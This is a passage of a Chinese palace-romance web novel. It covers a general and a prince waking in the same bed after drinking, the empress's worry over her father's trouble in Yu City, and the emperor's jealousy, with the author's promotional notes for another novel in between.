程于秋的眼神都聚焦在九皇叔那只不受控制抖动的手上,可能因为宿醉,她的脑子变得迟钝而混乱。她闭上眼睛,努力让自己清醒,再睁开眼睛,便当机立断地握住那只颤抖的手,“您先别动怒,容我好好回想一下。” 九皇叔不假思索地甩开程于秋的手,转而将火力对准直愣愣坐在床榻上的元琛,“还不赶紧滚下来!” 此时元琛虽还穿着中衣,但是领口散开,胸膛依稀可见。他下意识拢紧衣带,才起身下床。 “九皇叔……”因为心虚,他的声音极低,极其勉强地挤出一丝和煦的笑容,“早啊……” 九皇叔又是一顿吹鼻子瞪眼,没给他好脸色看。 虽说九皇叔性子火爆,但到底是天家贵胄出身,骨子里的体面是与生俱来的,盛怒之下还是先让她们二人去整理好着装仪容。 对着九皇叔的背影,二人一边慌乱穿衣,一边仍不忘交头接耳,“昨晚到底是怎么回事?容王殿下怎么会出现在我屋里?” 元琛明显要从容一些,“我最后的记忆里,人还是在屋顶上的,到底怎么下来的——这就要问程将军了,总不可能是我自己下来的。” 也是,人是她带上去的,要他自己下来确实很为难。程于秋闭上眼睛努力摇晃着脑袋,果然给她摇出点东西来,她突然停下动作,兴奋睁开眼睛,一点一点回忆道,“我想起来了,昨夜殿下您闹着要下去睡觉,我就把您带下来,然后然后……” 她又开始摇脑袋,可惜这回不奏效了,半点东西也都摇不出来。 到底发生了什么?眼见自己这边实在没辙了,程于秋就试图从元琛那里找出点线索来,“容王殿下真的没半点印象?” 不问倒好,一问倒是把人惹急了,元琛斜眼过来,“程将军这话什么意思?” 酒是她邀请人来喝的,人是她带上屋顶的,最后也是她带下来的,还带到屋里来了,甚至给带到了床上…… 罪恶! 程于秋简直不敢想下去了,她觉得自己确实是有罪的那一个,讪讪道,“殿下您误会了,是我操之过急了。” 听她承认错误,元琛脸色稍霁,他已穿好衣裳,等着侍从来给他束发。程于秋自然没他那么讲究,两只手将头发一拢,用发带扎了个高马尾,瞬间利落起来。 她挪步到九皇叔坐的桌前,殷勤地拿杯子斟了一杯茶递到他面前,“义父喝口茶,消消气。” “本王早就被你气死了。”虽嘴上这么说,九皇叔一只手还是诚实地接过茶杯,仰头一饮而尽。大清早发了这通脾气,他的喉咙早就发干发涩了。 程于秋趁接过杯子的功夫,偷偷观察九皇叔的神色,见他脸色稍微有些缓和,便温声细语地开口,“义父,昨夜我就是喝多喝糊涂了,都不记得怎么睡到一张床上去了,啥事也没有发生,您就别生气了,我这不是没有做伤天害理的事嘛。” 道歉第一步,当然是先弱化犯错的后果。 九皇叔果然被程于秋的歪理带偏了,“难不成你还想做伤天害理的事情!” “不敢不敢。”眼见自己的计谋奏效,程于秋又悄无声息地将矛盾点转移到对方身上,“女儿就是不小心贪杯,酿成一点错误。喝酒着实耽误事,喝不得,阿秋日后定要将今日之事引以为戒。义父以后也要少喝一点才好,喝酒伤身乱智。”话说完意味深长地盯着九皇叔看。 九皇叔向来最讨厌别人劝他少喝酒,他一听就头疼,下意识要回避矛盾,避开程于秋,这才记起罪犯二号来。 元琛早已提心吊胆在一旁站了一会儿,此时九皇叔终于记起这号人来,盯着他看了好一会儿,才缓缓开口,“你小子这些年都没好好做人,我也不打算说你了,既然是喝醉了,也没发生什么事,这件事就到此为止,你走吧。” 程于秋听九皇叔的话,知道他不再追究下去,悬着的心终于放下来了。一早起来,水都没喝上一口,说了一箩筐的软话,现在才记起来喝口水润润喉。 眼见事情解决了,程于秋安安心心地坐下来准备喝茶,哪知一口茶水刚入喉,元琛却在这个关头开口,“九皇叔,谁说昨晚什么都没有发生?” 程于秋一口茶水喷了出来,这小子,还嫌事情闹得不够大吗? 茶水尽数喷在九皇叔头上,他顶着一头湿漉漉的头发,原本刚刚熄灭的怒火瞬间又被点燃,猛烈地灼烧着他的胸膛。他怒视二人,一时不知道要先骂哪一个。 水刚喷出去的时候,程于秋就手忙脚乱地拿来了布巾,想要替九皇叔抹干水珠,但见他头上的毛发都是竖起来,又吓得缩回手来,她不敢开口,只在心里默默地问候元琛全家人,这个紧要关头,他在较真什么? “容王殿下不是说不记得了吗?”程于秋嘴唇没怎没动,牙齿倒是咬的咯吱作响。 元琛并不觉得自己哪里说错了,“屋里的事确实不记得了,屋顶上的事,本王却是记得清清楚楚。” 清清楚楚?这么说来,她的酒量竟还不如元琛? 程于秋又开始逼自己回想屋顶上的事。 九皇叔是个暴躁性子,抢在程于秋前头问道,“屋顶上究竟发生了什么事!” 元琛轻咳一声,压低声音,却刚好能被九皇叔听到的那种,对程于秋说,“这事不好跟长辈说,程将军还是自己好好回想一下比较好。”而后又看向九皇叔,朝他行了一礼,“昨夜之事希望程将军能给我一个合理的答复,九皇叔向来公正严明,要为侄儿做主。皇叔,侄儿身体不适,就先告辞了。” 程于秋一头雾水,她伸出一根手指头,指着元琛渐渐远去的背影,后知后觉地问道,“容王殿下要我给他什么答复?” 九皇叔见她毫无犯错的觉悟,心中更是气闷,“你惹出大祸了!” 经历了这一番波折后,爬山的事自然耽搁了,程于秋好言好语,低声下气地哄了九皇叔半天,又是低头认错,又是反复保证,才让他的气顺下来。 九皇叔走后,程于秋第一件事就是去敲开隔壁元琛的门,她要听元琛亲口讲出,昨晚到底是发生了什么惊天动地的事情,让他非得在九皇叔面前说出那番阴阳怪气的话! 来的路上她已经想好了,若是他不好好说,小心那张他那张金相玉质的俊脸! 她可不是什么怜香惜玉的人,说得不好,她听了不满意,要他好看。 虽说程于秋已经做好了兴师问罪的准备,可当门从里边被打开,露出元琛那张清风朗月的脸时,她还是错愕了一瞬,没想到堂堂大魏王爷会亲自来开门,这人还不是无药可救。 程于秋叹了口气,语气无意识温软下来,“容王殿下,不管昨夜发生了什么事就此翻页,求您不要计较了,不要追着义父要什么答复了,可行?” 元琛一句话点破她的意图,“本王看不到程将军的诚意。程将军这番话在本王听来,就是想掩盖问题,而非解决问题。” 什么狗屁道理!程于秋气得牙痒痒的,一脚踢在敞开的院门上,转身就走。要不是元琛这张脸长得还算好看,她半个字也不想跟与他多说! 想当初头一回在南疆战场见到元琛,灰头土脸的士兵中骤然出现一张白玉无瑕的脸,程于秋当场就看直了眼。她至今仍记得,他穿一身月白色的锦袍,身姿颀长挺拔,经历漫长的路途颠簸后,头发依然整齐一丝不苟,周身有一股干净利落的劲儿,阳光下整个人泛着淡淡的光。 她忍不住咽了咽口水,心想自己在军营呆久了,见惯了那些糙汉子,突然看到个平头正脸的,就像是没见过世面似的。 后来经过介绍,程于秋才得知他就是大魏的容王殿下,本以为对方会有皇家人的架子,哪知相处下来,竟也谦和随性,很好沟通。 截止至昨天晚上,程于秋还是对元琛保留着较好的印象。 但今后的印象,有待商榷。 与今早这一出闹剧相比,皇帝的院子里明显要和谐许多。 昨天夜里跟沈若辞在温泉池里胡闹到半夜,今早元栩不出意外起晚了,反正也没什么事,他又抱着沈若辞温存了一阵,直把人作弄得霞云满面,嘤嘤娇啼才罢手。 作者有话说:下章有关于沿沿过去感情线的一些线索。 请收藏一下我的预收文《染指娇花》吧 江烟生得花容月貌,家中父兄宠爱,又是当朝太子热门人选三皇子的白月光,是朝中贵女艳羡嫉妒的对象。…… 四皇子岑渊幼年丧母,性子狠戾,阴暗自私,是最不得宠的皇子。他讨厌江烟,讨厌她高高在上、众星捧月的待遇。 奈何就连他那位眼高于顶的三皇兄都对江烟情有独钟,各种奉承讨好,岑渊对此嗤之以鼻。 一次意外,岑渊身中猛药。 他暴怒地赶走想要靠近的女人,一回头,发现他三皇兄那位心上人,此时顶着一张绝美出尘的脸,战战兢兢地站在他床边。 只一眼,岑渊心头便生出恶劣的念头来,他要染指这位未来的三皇嫂。 ** 意外落水之后,江烟拥有了前世的记忆。 大哥战死沙场,二哥终身残废。 喜欢她的三皇子错失皇位,最后登顶的是她从小最害怕的四皇子岑渊。 因与三皇子来往过密,父亲戴罪入狱,惨死狱中。 江烟惊出一身冷汗,决定带全家人向未来的新帝靠拢。打定主意后,第一次见岑渊,就是他身中猛药,欲、火焚身之际。 江烟“……” 想起前世岑渊因中药后未及时纾解,最后失去了生育能力。江烟捏着裙摆,顶着他狂怒不已的声音,心惊胆战地靠近他…… 此后无数个相缠的夜晚,他无数次地逼哭她,“嫂嫂,你究竟对孤下了什么药?”长指拂过她久久失神的眸子,岑渊咬着她的耳垂,“恶鬼缠身的滋味,如何?” 第59章 床幔中弥漫着暧昧的气息, 元栩从床榻上起身,拿了床侧的一块布巾拭去满手香滑柔腻。 沈若辞刚从被窝里露出一双眼睛,就看到这一幕, 她哀怨地控诉道,“那是臣妾的小衣!” 元栩这才抬起手给了“小衣”一个眼神, 随手扔下床榻,“雪辉宫里, 朕给你准备的这些物件还少吗?” 小衣从床榻上坠落,搭在脚踏上, 沈若辞别过头去,雪辉宫里那两个箱子里尽是些见不得人的款式, 她才不敢穿出门, 一点也不端庄, 谁家好姑娘穿那个呢! 许是瞧出她的小心思, 元栩难得温和道,“皇后喜欢漂亮的衣裳, 喜欢漂亮的鞋子, 喜欢漂亮的首饰,为何不能喜欢漂亮的小衣?” 沈若辞有自己一套认知,“漂亮的衣裳可以穿出去啊,漂亮的小衣总不能穿出去吧。” 元栩从榻上下来, 一边穿衣裳一边说道,“穿好看的衣裳可以取悦他人,穿好看的小衣可以取悦自己, 取悦自己不比取悦他人重要?” 沈若辞觉得他说的是歪理,但又想不出反驳的话来,那些小衣确实款式漂亮精致, 很能取悦自己,更能……取悦他。 元栩只套了一件袍子,就过来抱沈若辞去温泉池清洗身子。光天化日,温泉池里分毫毕现,夜里乌蒙蒙一片就算了,此时看来简直是无地自容,沈若辞怕羞,简单清洗了身子就上去穿衣裳。 早饭的时间已经错过了,二人直接用上午饭,饭后元栩便出门去看九皇叔。由于昨夜被元栩反复折腾没睡好,沈若辞自己在院子里走了两圈,便进屋补眠。 一觉睡到傍晚,可能是身体慢慢变好了,如今沈若辞的睡眠越来越好,起床后她吃了些点心,正喝茶,锦云进来禀报,“娘娘,程将军来了。” 沈若辞放下茶杯,“快请进来。” 话音未落,程于秋已带着风走进来,一屁股坐到她对面的圈椅上,然后开始躺平。 她对着空气问道,“沈沿沿你泡上温泉了没有,跟我一起去泡吧。” 可能昨晚的记忆太过糜乱,沈若辞不敢触及这个话题,神色躲闪道,“昨晚泡了……一会。” 好在程于秋并没有追问,拉着沈若辞就要往后院的温泉池去,却被沈若辞阻止了。一想起昨夜跟元栩在温泉池里搅弄了那么久,最后原本清澈的池水变得浑浊不堪,沈若辞立马打断了程于秋的提议。 “还是去你院子了吧。” 程于秋见她神色有些为难,马上会意过来,如今沈若辞已嫁人,不像自己孤家寡人,这院里除了她,还有那位天潢贵胄的帝王,确实不大方便,她表示不能再理解,“走,去我那里。” 沈若辞挽上程于秋的胳膊,二人就高高兴兴地前往程于秋的院子。 昨天夜里喝多了酒,早上起得又早,当身体缓缓泡入温泉水中,程于秋感觉全身瞬间被温暖的春风包裹,水汽蒸腾之下四肢百骸都松泛起来,身体连同精神的疲倦一扫而光。 沈若辞慢程于秋一步入水,坐得高,大半个身子都在水面上,她朝程于秋招招手,“过来,我给你按按。” 程于秋立马心领神会,划着水坐到沈若辞身前,然后一双温暖柔软的手落在她肩膀上,力度适中地揉捏起来,她闭上眼睛开始享受。 沈若辞这双手极妙,手指纤长,手心绵软,力道又恰到好处,更关键的是,这手绝活是特意为程于秋学的。 当年在军营里,程于秋的左肩膀受伤未及时医治,从此便落下病根,阴雨天里时常感觉酸胀僵痛。沈若辞看在眼里,暗地里翻阅了医书,又请教了罗医娘,学了一段时间后便出师为程于秋按跷,病症虽无法根治,却也得到了缓解。 程于秋浑身懒洋洋的,有种说不出来的舒适愉悦。 舒爽过后,她开始拍沈若辞的马屁,“沈沿沿,你真是个大宝贝。我要是个男人,肯定第一时间把你娶回家。” 听她大放厥词,沈若辞暗暗下了狠力,捏得程于秋嗷嗷大叫。 墙那头,元栩跟元琛正在泉边品茗闲聊,听了程于秋的话,他冷笑一声,“她也配!” 元琛见他差点要将手中的茶杯捏碎,笑道,“程将军英姿飒爽,皇后娘娘貌美如花,怎么就不配了。” 话刚说完,就听见程于秋的惨叫声,元栩不动声色地放下杯子宣誓自己的胜利,“可惜皇后并不愿意。” 元琛看不上他的较真,“开玩笑的,你何必当真。” 元栩深深地睨了他一眼,不欲与他多说。 那头程于秋已扑进温泉水里,回头将沈若辞也拉进水中。 二人打闹了一阵,程于秋勾勾手指,要沈若辞过去,“沈沿沿,告诉你一件事。” 沈若辞歪着头看过去,温泉水在她的眼眸里流淌晃动,水光潋滟,“什么事?” 程于秋遇到开心的时候喜欢跟沈若辞分享,遇到苦恼的事也喜欢跟她抱怨,“我昨夜跟容王殿下一起喝酒,喝多了,两个人就睡到一张床上去了。” 语气平静如水,波澜不惊。墙那头元琛轻咳了一声,装模作样地端起杯子喝茶,假装没听到这段话。 元栩自然也听到了,听得清清楚楚,他凝着元琛的眼睛,缓缓开口,“什么时候的事?” 元琛又咳了一声,“你不都听到了,今早起床发现的,必然是昨晚,还明知故问什么?” 元栩仍盯着他的眼睛,“你再想想,朕问的是什么?” 藏在心底里的秘密乍然被人发现,元琛像被他的目光洞穿,那种紧迫感令他下意识想要逃离,意识到自己的失态之后,他默默地别过头去。 程于秋说得风轻云淡,沈若辞听完就炸毛了。程于秋是如何做到将二人睡到同一张床上的事,说得像在说早饭吃了什么那般稀松平常?她都被气笑了,“程于秋啊程于秋,我都不知道该怎么说你了!” 仗着自己身手好,每次喝起酒来就没个分寸,要是被人欺负了,被人占便宜了可如何是好! 见沈若辞真的生气了,程于秋顿时心虚起来,她放低姿态,“好啦好啦,这不容王殿下也不是坏人,睡一下也不会少块肉,你就别生气了好不好,沈沿沿。” 沈若辞拿她无可奈何,“你倒是说清楚怎么回事!” 程于秋靠着池壁,声音闷闷的,“还怎么说清楚,醒来的时候,他就在我床上,也不知道几时上来的,怎么上来的。” 沈若辞无奈地笑出声来,一副恨铁不成钢的姿态,“程阿秋,你说你找谁不行,你找个纨绔!” 程于秋毫无悔意,眼皮也没抬一下,“沈沿沿你怎么说话呢,就准你自己喜欢纨绔,不准别人喜欢是吧?” 哪个喜欢那些招猫逗狗的纨绔了?沈若辞当然要跟她据理力争,“我什么时候喜欢纨绔,你给我说清楚。” 她这张漂亮动人地脸蛋,就算说出再凶的话,也无法让人生气。 程于秋叹了口气,这才挺直了身子,打算好好帮她回忆一下,“什么时候?两三年前吧,你寄给我的信上说的,说你有了喜欢的人,但是对方是个无所事事、不务正业的公子哥,你甚至怕沈相不同意。后来我回京述职,你不是来我家里找我了,我怕你嫁这种人,以后要吃苦。你小手一挥,就说不必担心,你可以养他。就算没有父母长辈的帮衬,你那几间铺子每年的收入,便可供你二人衣食无忧一辈子。” “连成亲后的生活都想好了,还敢说没有。”她眼中的沈若辞,并不是一个草率的人。但凡能计到未来的,肯定是用了真心的。 听她说得振振有词,沈若辞一边听一边瞪大眼睛、张大嘴巴,最后眼睛都要跟嘴巴一样大。 尽管程于秋说得有理有据,她还是无法相信自己会有出钱去养一个纨绔的想法,她才不会上当,“你肯定是在骗我。” “你不信啊?”程于秋双手抱胸又靠回池壁,“不信也没事,当初你寄给我的信,我都留着,下回见面带给你看。” 沈若辞显然正在经历一场头脑风暴,她眉头拧得紧紧的,一张脸儿经过水汽氤氲,白里透红,看起来粉嘟嘟。在这种二人对峙的关头,程于秋都忍不住多瞧上几眼。 “我当时看你很喜欢那纨绔公子哥,便想让你带我去见见,你说等下次吧,对方还不知道有没有喜欢你呢。可后来你生病了,又说跟袁子逸在一起了,我就觉得很奇怪,你怎么会跟袁子逸走到一起?” 这问题把沈若辞难住了,并非她不想坦诚相告,只是这个问题的答案,她其实一点也不清楚。 “阿秋,关于我和袁子逸如何走到一起,这一点,我都不记得了。”她叹了口气,继续讲道,“当时我外出游玩落水,是袁子逸把我带回来的。醒来后我生了一场大病,整个人晕晕乎乎地在床上躺了一个多月,好转后也忘了很多以前的事。” 她继续回忆,“我生病的时候,袁子逸经常来相府看我,鼓励我。后来他就跟我爹坦白了我们之间的关系。我幼时便认识他,与他时有往来。可是,我真的不记得什么时候倾心于他。” 见程于秋听得云里雾里,沈若辞又补充道,“就是,我忘了跟他相知相爱的过程。” 程于秋沉思片刻,恍然道,“这么说,你跟袁子逸的事,完全是他的一面之词?” 作者有话说:收藏一下我的预收文《染指娇花》呀 第60章 沈若辞摇摇头, “也不全是,我阿爹、阿茉之前都知道我有喜欢的人了。” 过去的事,过去的人, 也没有纠结的必要了。程于秋摸了摸她的头,“好了, 都是过去的事了,你也别想太多。” 如今她都做皇后了, 与袁子逸再无可能,也不必费劲去深究缘故了。 在温泉行宫里住了两天, 连续两夜的温泉鸳鸯浴,也是算是物尽其用了, 吃饱喝足的元栩带着被同样喂得饱饱的沈若辞踏上回宫的路程。 回宫的马车已停在湖边的树下等候, 程于秋来送沈若辞, 一路送到了马车旁。 二人正依依不舍, 就听马叫声嘶鸣,不远处严从晖翻身下马, 大步流星走过来, 然后单膝跪地向元栩呈上信件,“皇上,虞城来的急报。” 一听虞城二字,沈若辞便心头一跳, 立马想到了去安都调查赃款流入虞城安的父亲,她抬眼,惴惴不安地看向元栩。 元栩接过信件后便一目三行看了起来, 片刻后,他将信件收入袖中,吩咐道, “回宫。” 沈若辞跟在他身后上了马车,元栩打从上车后脸色就一直不大好看,之后更是一路正闭目沉思,纵使心中有疑问,也没敢开口去打扰他。 一路无言回到宫中,元栩脚刚落地,就吩咐宫人送皇后回宫,自己头也不回地赶往书房。 沈若辞望着的背影,终究还是忍不住开口,“皇上……” 元栩停住脚步,微微侧头,“沿沿先回雪辉宫,朕知道你想问什么,等事情解决后,朕今晚回去再给你答案。” 沈若辞看着他的背影试图询问,就听他说,“常安,送皇后回宫。”放下话后人就离开了。 岳常安见气氛有点不对劲,也只能硬着头皮上前去,“娘娘,老奴送您回宫。” 沈若辞只好先回雪辉宫。打从她入宫后,每每月中月末就能收到父亲送来报平安的信件,此时正逢月末,这个月的第二封平安信还没收到,联想起方才虞城的急报,她很难安心下来。 回到雪辉宫后,沈若辞换了一身衣裳,就将父亲送来的信件拿出来细看一遍,试图从中找出点线索来。信件还没过完,薛太后那边就派人来请她过来。 沈若辞只好将信件收起来,对来报信的宫人说道,“嬷嬷先回禀太后娘娘,臣妾这就过去。” 锦云闻言马上过来伺候沈若辞整理仪容穿着。 一刻钟后,沈若辞来到太后宫中,“臣妾参见母后。” 薛太后听声慢慢地抬起眼皮,“皇后来啦,快起来。”她扶着嬷嬷的手从软榻上坐起来,凌厉的目光从沈若辞脸上扫过,手上的动作顿时一颤。 她没有想到,被皇帝磋磨的沈若辞,非但没有如她所想的饱受摧残,反而出落得越发风娇水媚,娇艳欲滴。尤其是那一抹红唇,小巧精致,嫣红诱人,精致的眉眼自带风情,明显是被滋润过的。 虽说心里不得劲,薛太后还是伸手指了指软榻旁的椅子,示意沈若辞坐下,而后缓缓开口,“你父亲去虞城一事,你知晓了吗” 沈相对外是说去了安都,后来才辗转到了虞城,并未对外公开行踪。听到薛太后准确无误地报出父亲的行踪,沈若辞心弦微动,但脸上还是保持方才的平静,“母后,家父从不让臣妾过问朝中事务,臣妾不敢多问。” “是吗?沈相在虞城出了点麻烦。”薛太后问得漫不经心,“皇上也没有告诉你吗?” 果真是父亲遇到麻烦了? 沈若辞心头一惊,攥着手帕垂下头去,她低声回道,“也没有。” 看到沈若辞脸上终于表现出担忧的神色,薛太后这才满意地露出笑意,方才的阴郁的脸色一扫而光,嘴角的笑意竟也带了两分慈爱,“如今你父亲不仅是朝廷的肱骨大臣,也是我们大魏皇帝的岳丈。他的事也不能全算是朝廷上的事,皇上也该站在我们皇后的位置上想一想,做人子女心系父母安危也是人之常情。” 沈若辞抬起头望向薛太后,“多谢母后体谅。” 薛太后干瘦的手指摩挲着裙摆上的绣纹,“皇后是个善良的好孩子,哀家一眼就看出来。皇帝不一样,他生来冷血,冷心冷肺,无情无义。淑妃的弟弟被流放,淑妃前些天也被移送到刑部,包庇的罪名一旦下来,便是有去无回。” 马瑜春打着淑妃的名号在外为非作歹,不知糟蹋残害了多少无辜女子。淑妃明显知情,可她非但不劝阻,还一味纵容包庇,如今落得这样的结局,也算是罪有应得。 沈若辞默默听着,薛太后继续喋喋不休,“淑妃这事就算了,好好一个静妃,也就是听闻皇帝想去温泉行宫,便想撒个娇、使个小性子求皇帝带她一起去。这本就无可厚非,可偏偏不知道就哪里触犯了他,命人活生生打断了静妃的双手,还喂了毒酒,将人毒哑后充入冷宫!这后宫中的妃子,哪个不是他的女人,你说他怎么就这么狠心呢!” 静妃这事沈若辞倒真是一无所知,一想到静妃那双纤纤玉手就此残废了,沈若辞还是忍不住倒吸了一口凉气。 薛太后看在眼里,继续拱火道,“皇后是个知进退的孩子,但是皇帝性子阴晴不定难以捉摸,保不准哪天哪句话就把他给得罪了,也落得个莫须有的罪名,皇后在他面前还是要留个心眼才好。” 沈若辞知道自己什么身份,也知道自己这个皇后不过只有虚名,她在元栩跟前向来谨小慎微,除了在床上被他欺负狠了,这就另当别论了。总之,她虽不知道太后说这些话存了什么心思,但是小心皇帝总归是对的。 她朝薛太后行礼致谢,“多谢母后提醒。” 不笑时,沈若辞双眸就像一汪清泉,澄澈明净,给人一种一眼能看到底的错觉。薛太后看着她的模样,对她的话很受用,又提起自己的亲生儿子,“皇后还没见过哀家的赫儿,哀家的赫儿谦逊有礼,文采斐然,走到哪里都是赞誉满满。沈相这事搁若是搁他身上,绝不会让皇后一个人独自担忧,暗自神伤。” 薛太后每回在她面前提起元赫这个人,沈若辞总会想起曾经在医馆一同学医的阿赫,那位跟她同岁的少年,已经杳无音讯两年了,不知道如今过得怎么样? 沈若辞拉回思绪,元赫是什么样的人,她并不想清楚,也不想知道,但是碍于情面,她还是要下功夫敷衍,“赫王爷的美名在外,臣妾已有耳闻。” 听她夸赞元赫,薛太后心满意足地笑了,“过阵子赫儿要回盛京来了,到时候皇后就能见到他了。” 沈相尚在虞城,元赫突然要回京来,是否因为父亲查出了什么重要的事来,他才急着进京吗?沈若辞顺着薛太后的话问道,“母后,赫王爷要回京来看您吗?” 眼见该传递的信息都说给了沈若辞,薛太后也无心再交谈下去,“是啊,赫儿回来办点事,也来看看哀家这个做母后的。哀家累了,就不留皇后了。” 沈若辞不喜欢太后一副暮气沉沉的样子,听她这么说,便起身告辞,“臣妾不打扰母后休息,就先告辞了。” 出了薛太后寝殿,沈若辞就急急赶回雪辉宫,锦云也是头一回见皇后娘娘走路这么快,疑惑地跟了一路。 等回到雪辉宫里,一眼见到连嬷嬷,她便着急地问道,“嬷嬷,皇上来过了吗?” 方才连嬷嬷在殿内听到外头丫鬟行礼问安的声音,就起身来到门口,一眼就看到皇后娘娘步履匆匆地朝屋里来,正纳闷,就听她问出这话,瞬间心领神会,笑着说道,“娘娘,皇上还没来过呢。”说完跟锦云对视一眼,二人一副心知肚明的模样。 沈若辞急着从元栩那里打听父亲的消息,并没有注意到她二人的反应,只是走到软榻旁脱鞋上榻,而后趴在靠枕上望着窗外的大门。 入秋后,天气开始转凉,软榻又对着窗口,偶有凉风进来,锦云拿来薄被搭在沈若辞身上,便去院中帮连嬷嬷晒被子。 连嬷嬷将绸缎面的棉被翻了个面,让两边都能在太阳底下晒透,这是为今年入冬准备的新被子,趁天气好先拿出来晒一晒。 翻好面,连嬷嬷朝窗口望过去,能看到皇后的小脑袋搁在靠枕上,还在盯着大门的方向。 锦云抿着唇笑了,凑过去在连嬷嬷耳旁说了两句悄悄话,连嬷嬷听完也露出了喜悦的笑容,“这样就对了!”她双手合十虔诚道,“神明保佑,保佑娘娘早日怀上龙子。” 她想起早逝的先皇后,又不禁湿了眼眶。 锦云忍不住安抚她,红着脸道,“嬷嬷,按照皇上跟娘娘每夜至少三回的频率,怀上小皇子小公主那是指日可待。” 阿茉端着刚煎好的药从小厨房里出来,就听见连嬷嬷跟锦云在说什么皇子公主,她将药送到软榻边,递给心事重重的沈若辞,“娘娘,该喝药了。” 沈若辞从软榻上爬起来,接过碗来,捏着鼻子一鼓作气将药喝了下去,喝到碗底见空后,她将碗赛会阿茉手里。 阿茉一手接过空碗,一手迅速地将果脯塞进她的嘴里。 沈若辞用力地嚼着果脯,腮帮子鼓鼓的,入宫这段时间来,她确实长胖了一点。 阿茉的目光从沈若辞的脸颊转移到日渐丰腴的胸-部,再下移到小腹,她忽然明白她们口中皇子公主说的是什么事。 “娘娘!”阿茉搁下碗,坐到软榻的边缘,伸手按住她的肚子,“您不会是怀孕了吧?”《 》 60-70 第61章 怀孕?怎么可能!沈若辞抬手敲了一下她的脑袋, “脑瓜子里想的都是些什么,你不是刚刚才给我端来避子药喝下去?” 阿茉揉了揉脑袋,“可是您怕苦, 每回喝药都是捏着鼻子,你知道喝得是什么” “放心吧。”要说她怀上皇嗣这事, 皇帝比她更怕。她是沈相的女儿,又坐上后位, 皇帝暗地里自有较量,不会容许她怀上皇家血脉。 就算是不小心有了, 等待她的也会是一碗下胎药。 不过阿茉的话也提醒了沈若辞,避孕还是防范于未然的好, 否则等到不小心怀上孩子再来处理, 可就伤身子了。 眼下沈若辞也没心思去考虑这件事, 比起可能会怀孕这个结果, 她更担心父亲的安危。 元栩写了密信让人送到虞城,想了想, 又下令让严从晖前去虞城支援沈相。做完这些后, 他又将这两日来堆积如小山的奏折一一处理完毕,这才松了口气,伸手捏了捏发酸的眉心。 这才揉了两下,他突然想到昨天傍晚在元琛院子里听到的话, 手上的动作无意识停下来,手指却仍按着眉心。 他想,程于秋口中, 沈若辞喜欢的那个纨绔究竟是谁? 他从昨天知晓此时开始,一直道现在到现在,只要一有闲下来的时候, 就会想起这件事,究竟是什么样的纨绔,能让沈若辞明知道沈相会反对,还要义无反顾地与他在一起? 元栩越想越是气闷,忽然将手从脸上拿开,朝殿外喊了一声,“常安!” 岳常安推门而进,见小皇帝面色不虞,小心翼翼地问道,“皇上有何事,尽管吩咐老奴去做。” 元栩睨了他一眼,缓缓得收回眼神,道:“找人去查盛京中所有的纨绔,将他们的名字、家世、画像整理出来,届时呈一份给朕。” 岳长安觉得奇怪,好端端的,这位小祖宗查人家纨绔做什么?他只敢在心里想想,并不敢表现出来,“是,皇上。” 岳常安转身刚走出去几步,就被皇帝叫住了。 “等等。” 着重调查那些年纪轻、样貌好的。”元栩补充道,见岳常安脸色微微诧异,他没有多做解释,只是催促道,“现在就去。” 岳常安告退,“老奴这就派人去做。” 元栩太清楚了,沈若辞其实喜欢样貌优越的男人,平日里她没有表现出来,可每回喝上些小酒,喝得微醺的时候,她都会捧着他的脸来看,他要是问她看什么,她会直白说他好看。 仅仅只是因为好看吗?见她点头,元栩既失落又得意。一想到她对其他男人的美貌也痴之若狂,甚至想要拿出自己的钱去养他,元栩就气得牙痒痒的。 想不到沈若辞小小年纪,就是个贪图男人美色的花心大萝卜。又是袁子逸,又是什么纨绔,连他堂堂天子,也要因容貌被她评头论足!他要找机会改掉沈若辞以貌取人的坏毛病,绝不能姑息,任其发展下去! 心里虽这么想,元栩过去雪辉宫之前,还特意在龙泽宫里洗了把脸,又重新束发,换了身衣裳才出门。 元栩原本已准备前往雪辉宫,走到殿门口,突然想到今日还有事还未做,便停下步伐,唤来岳常安问话,“今日怎么没准备药?” 药一直是按皇上吩咐备着的,只是…… 岳长安近来心里一直很不安,要是让满朝文武知道他帮着皇帝喝这种药,九条命也不够那些人杀,他欲言又止道,吞吞吐吐道,“皇上,今日就不喝了吧,那药对身子本就……” “常安。”元栩凝着他,眼神带着压迫,“你在教朕做事?” 岳常安心中一惊,知道自己言行僭越了,赶忙垂头闭嘴。 元栩平静道,“去把药拿来吧。” 岳常安只好命人去端药来,然后眼睁睁看他将碗中的汤药一饮而尽。 岳长安心想,又是造孽的一天,希望以后老天不要惩罚他。 掌灯时分,当殿内的宫灯一掌接着一掌被点燃的时候,元栩乘着夜色来到雪辉宫。 连嬷嬷等人见状赶紧呈上晚膳,沈若辞殷勤地帮元栩夹了几回菜,又给他盛了两次汤,眼见他通通都吃进肚子里去,一点也没有剩下来,她也稍稍放松了一点,旁算着等下可以借机开口问他关于父亲的事。 用完晚膳,元栩如往常一般准备沐浴。 浴殿里的热水衣物已经备好,他脱了外袍便走进去。沈若辞在他回来之前就已经洗好了,此时见他走进浴殿,忍不住也跟了进去。 元栩刚脱完衣裳,回头就见沈若辞站在入口处,皱着眉问她,“就这么喜欢在水里?” 沈若辞望着热腾腾一池子温水,连续两夜温泉池里的画面入了脑,顿感不妙。她也顾不上羞窘,红着脸径直走到他跟前,微微仰起脸,“皇上不记得了吗?您早上答应臣妾的,虞城的事要给臣妾一个答案。” 元栩眼神向下瞥了一眼,无奈问道,“确定要在这个时候说话?” 沈若辞已经尽力忽视视野中的某些部位,她点头,“对,臣妾等皇上整整一天了,就是想现在就知道。” “现在,马上。” 他身上哪里是她没有见过的?欺负她的时候不见他讲究,这个时候穷讲究什么。 打从沈若辞入宫以来,元栩还是头一回听她说话这么硬气,不禁微微皱起眉头,“沿沿在担心什么,沈相是沿沿的爹,也就是朕的爹,爹若是有事,朕能这么悠闲自在?” 他摊开手大大方方地站着,沈若辞狐疑地打量了他一番,觉得除了有些辣眼睛,确实看不出别的。 可她还是无法完全相信他的话,没忍住又确认了一遍,“皇上,真的没有骗臣妾?” 元栩确实没有光着身子与人聊正事的癖好,他耐着性子解释,“放心吧,爹没事,就是宋临受了点轻伤,已经得到医治,不会危及生命。朕已经命虞城的眼线好好保护爹,严从晖早上就出发去虞城了,想必明日就能感到。” 沈若辞原本还担忧宋临受伤,二人遇到危险的时候的无法自救,但此时听元栩说严从晖已经赶过去支援,顿时放心下来。她只想知道父亲的安危,具体在虞城发生了什么事,她不敢多问。 “多谢皇上,臣妾就不打扰您沐浴了。”话说完沈若辞即刻转身,一溜烟就跑出浴殿。 